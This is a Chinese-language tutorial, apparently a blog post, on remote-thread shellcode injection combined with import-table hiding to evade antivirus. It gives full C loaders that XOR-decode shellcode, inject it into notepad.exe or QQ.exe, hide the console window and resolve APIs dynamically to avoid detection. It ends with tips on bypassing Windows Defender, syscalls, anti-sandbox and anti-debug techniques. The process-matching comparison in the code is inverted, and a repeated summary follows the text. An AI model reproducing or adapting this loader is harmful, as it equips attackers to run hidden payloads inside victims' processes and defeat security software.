远线程注入+IAT隐藏过杀软
字数 1115 2025-08-29 08:31:35

远线程注入与IAT隐藏技术详解

一、远线程注入基础

1.1 远线程注入概念

远程线程注入是指一个进程在另一个进程中创建线程的技术。通过获取目标进程的句柄(相当于控制器),可以在目标进程中执行我们想要的操作。

1.2 核心API函数

OpenProcess

HANDLE OpenProcess(
    DWORD dwDesiredAccess,  // 访问进程对象标志
    BOOL bInheritHandle,    // 是否继承句柄权限
    DWORD dwProcessId       // 要打开的进程PID
);

VirtualAllocEx

LPVOID VirtualAllocEx(
    HANDLE hProcess,        // 打开的进程句柄
    LPVOID lpAddress,       // 设置为NULL
    SIZE_T dwSize,          // 申请的内存大小
    DWORD flAllocationType, // 内存分配类型
    DWORD flProtect         // 设置内存权限
);

WriteProcessMemory

BOOL WriteProcessMemory(
    HANDLE hProcess,        // 进程句柄
    LPVOID lpBaseAddress,   // 申请的内存地址
    LPCVOID lpBuffer,       // 要写入内存的数据
    SIZE_T nSize,           // 数据大小
    SIZE_T* lpNumberOfBytesWritten // NULL
);

CreateRemoteThread

HANDLE CreateRemoteThread(
    HANDLE hProcess,        // 进程句柄
    LPSECURITY_ATTRIBUTES lpThreadAttributes, // 线程安全属性
    SIZE_T dwStackSize,     // 初始堆栈大小
    LPTHREAD_START_ROUTINE lpStartAddress, // 线程函数
    LPVOID lpParameter,     // 函数参数
    DWORD dwCreationFlags,  // 创建标志
    LPDWORD lpThreadId      // 线程ID
);

进程遍历相关API

HANDLE CreateToolhelp32Snapshot(DWORD dwFlags, DWORD th32ProcessID);
BOOL Process32First(HANDLE hSnapshot, LPPROCESSENTRY32 lppe);
BOOL Process32Next(HANDLE hSnapshot, LPPROCESSENTRY32 lppe);

二、基础远线程注入实现

2.1 实现步骤

  1. 遍历进程获取目标进程PID
  2. 打开目标进程获取句柄
  3. 在目标进程中分配内存
  4. 将shellcode写入目标进程内存
  5. 创建远程线程执行shellcode

2.2 示例代码

#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <TlHelp32.h>

BOOL WINAPI MyCreateRemoteThread(DWORD dwProcessId) {
    HANDLE hProcess = NULL;
    DWORD dwThreadId = 0;
    HANDLE hThread = NULL;
    LPVOID lPmemory = 0;
    unsigned char buf[] = "异或后的shellcode";
    
    // 异或还原代码
    for(int i = 0; i < sizeof(buf); i++) {
        buf[i] ^= 50;
    }
    
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
    if(hProcess == NULL) {
        printf("%d\n", GetLastError());
        return FALSE;
    }
    
    lPmemory = VirtualAllocEx(hProcess, 0, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hProcess, lPmemory, buf, sizeof(buf), NULL);
    hThread = CreateRemoteThread(hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)lPmemory, NULL, NULL, &dwThreadId);
    
    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);
    CloseHandle(hProcess);
    return TRUE;
}

int main() {
    // 遍历进程获取指定进程id
    HANDLE hProcessSnap = NULL;
    BOOL bRet = FALSE;
    PROCESSENTRY32 pe32 = {0};
    DWORD dwProcessId;
    
    hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
    pe32.dwSize = sizeof(PROCESSENTRY32);
    
    if(hProcessSnap != INVALID_HANDLE_VALUE) {
        bRet = Process32First(hProcessSnap, &pe32);
        while(bRet) {
            if(_stricmp(pe32.szExeFile, "notepad.exe")) {
                dwProcessId = pe32.th32ProcessID;
            }
            bRet = Process32Next(hProcessSnap, &pe32);
        }
    }
    
    MyCreateRemoteThread(dwProcessId);
    return 0;
}

三、IAT隐藏技术

3.1 IAT隐藏原理

通过动态获取API函数地址,避免在导入表中直接显示敏感API调用,增加反检测能力。

3.2 实现方法

  1. 定义函数指针类型
  2. 使用GetProcAddress动态获取函数地址
  3. 通过函数指针调用API

3.3 示例代码

#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <TlHelp32.h>

#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"") // 隐藏黑框

// 定义函数指针类型
typedef LPVOID(WINAPI* oldVirtualAllocEx)(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
typedef BOOL(WINAPI* oldWriteProcessMemory)(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesWritten);
typedef HANDLE(WINAPI* oldCreateRemoteThread)(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);
typedef HANDLE(WINAPI* oldCreateToolhelp32Snapshot)(DWORD dwFlags, DWORD th32ProcessID);
typedef DWORD(WINAPI* oldWaitForSingleObject)(HANDLE hHandle, DWORD dwMilliseconds);

BOOL WINAPI MyCreateRemoteThread(DWORD dwProcessId) {
    HANDLE hProcess = NULL;
    DWORD dwThreadId = 0;
    HANDLE hThread = NULL;
    LPVOID lPmemory = 0;
    unsigned char buf[] = "";
    
    for(int i = 0; i < sizeof(buf); i++) {
        buf[i] ^= 50;
    }
    
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
    if(hProcess == NULL) {
        printf("%d\n", GetLastError());
        return FALSE;
    }
    
    oldVirtualAllocEx newVAE = (oldVirtualAllocEx)GetProcAddress(GetModuleHandleA("kernel32.dll"), "VirtualAllocEx");
    oldWriteProcessMemory newWPM = (oldWriteProcessMemory)GetProcAddress(GetModuleHandleA("kernel32.dll"), "WriteProcessMemory");
    oldCreateRemoteThread newCRTE = (oldCreateRemoteThread)GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateRemoteThread");
    oldWaitForSingleObject newWFSO = (oldWaitForSingleObject)GetProcAddress(GetModuleHandleA("kernel32.dll"), "WaitForSingleObject");
    
    lPmemory = newVAE(hProcess, 0, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    newWPM(hProcess, lPmemory, buf, sizeof(buf), NULL);
    hThread = newCRTE(hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)lPmemory, NULL, NULL, &dwThreadId);
    newWFSO(hThread, INFINITE);
    
    CloseHandle(hThread);
    CloseHandle(hProcess);
    return TRUE;
}

int main() {
    HANDLE hProcessSnap = NULL;
    BOOL bRet = FALSE;
    PROCESSENTRY32 pe32 = {0};
    DWORD dwProcessId;
    
    oldCreateToolhelp32Snapshot newCT32 = (oldCreateToolhelp32Snapshot)GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateToolhelp32Snapshot");
    hProcessSnap = newCT32(TH32CS_SNAPPROCESS, NULL);
    pe32.dwSize = sizeof(PROCESSENTRY32);
    
    if(hProcessSnap != INVALID_HANDLE_VALUE) {
        bRet = Process32First(hProcessSnap, &pe32);
        while(bRet) {
            if(_stricmp(pe32.szExeFile, "QQ.exe")) {
                dwProcessId = pe32.th32ProcessID;
            }
            bRet = Process32Next(hProcessSnap, &pe32);
        }
    }
    
    MyCreateRemoteThread(dwProcessId);
    return 0;
}

四、技术要点与注意事项

  1. Shellcode处理

    • 使用异或等简单加密技术隐藏shellcode
    • 在运行时解密shellcode
    • 示例中使用异或50进行加密/解密
  2. 进程遍历

    • 使用CreateToolhelp32Snapshot获取进程快照
    • 通过Process32First和Process32Next遍历进程
    • 比较进程名找到目标进程
  3. 内存保护

    • 使用PAGE_EXECUTE_READWRITE权限分配内存
    • 确保分配的内存可执行
  4. 错误处理

    • 检查每个API调用的返回值
    • 使用GetLastError获取错误信息
  5. 免杀注意事项

    • IAT隐藏可以绕过部分杀毒软件
    • Windows Defender等高级防护可能需要更复杂的绕过技术
    • 建议使用release版本编译,避免依赖调试库
  6. 常见问题解决

    • 缺少vcruntime140.dll和ucrtbased.dll:使用静态链接或携带运行时库
    • 黑框闪退:添加#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")隐藏控制台

五、进阶方向

  1. API调用进一步隐藏

    • 使用直接系统调用(syscall)代替API调用
    • 动态解析API地址
  2. Shellcode加密增强

    • 使用AES等强加密算法
    • 分段加密
  3. 注入技术变种

    • APC注入
    • 线程劫持
    • 反射式DLL注入
  4. 反检测技术

    • 反沙箱
    • 反调试
    • 时间混淆
  5. 目标进程选择策略

    • 选择可信进程注入
    • 进程伪装

通过掌握这些技术,可以构建更强大的进程注入能力,同时提高对抗安全检测的能力。

远线程注入与IAT隐藏技术详解 一、远线程注入基础 1.1 远线程注入概念 远程线程注入是指一个进程在另一个进程中创建线程的技术。通过获取目标进程的句柄(相当于控制器),可以在目标进程中执行我们想要的操作。 1.2 核心API函数 OpenProcess VirtualAllocEx WriteProcessMemory CreateRemoteThread 进程遍历相关API 二、基础远线程注入实现 2.1 实现步骤 遍历进程获取目标进程PID 打开目标进程获取句柄 在目标进程中分配内存 将shellcode写入目标进程内存 创建远程线程执行shellcode 2.2 示例代码 三、IAT隐藏技术 3.1 IAT隐藏原理 通过动态获取API函数地址,避免在导入表中直接显示敏感API调用,增加反检测能力。 3.2 实现方法 定义函数指针类型 使用GetProcAddress动态获取函数地址 通过函数指针调用API 3.3 示例代码 四、技术要点与注意事项 Shellcode处理 : 使用异或等简单加密技术隐藏shellcode 在运行时解密shellcode 示例中使用异或50进行加密/解密 进程遍历 : 使用CreateToolhelp32Snapshot获取进程快照 通过Process32First和Process32Next遍历进程 比较进程名找到目标进程 内存保护 : 使用PAGE_ EXECUTE_ READWRITE权限分配内存 确保分配的内存可执行 错误处理 : 检查每个API调用的返回值 使用GetLastError获取错误信息 免杀注意事项 : IAT隐藏可以绕过部分杀毒软件 Windows Defender等高级防护可能需要更复杂的绕过技术 建议使用release版本编译,避免依赖调试库 常见问题解决 : 缺少vcruntime140.dll和ucrtbased.dll:使用静态链接或携带运行时库 黑框闪退:添加 #pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"") 隐藏控制台 五、进阶方向 API调用进一步隐藏 : 使用直接系统调用(syscall)代替API调用 动态解析API地址 Shellcode加密增强 : 使用AES等强加密算法 分段加密 注入技术变种 : APC注入 线程劫持 反射式DLL注入 反检测技术 : 反沙箱 反调试 时间混淆 目标进程选择策略 : 选择可信进程注入 进程伪装 通过掌握这些技术,可以构建更强大的进程注入能力,同时提高对抗安全检测的能力。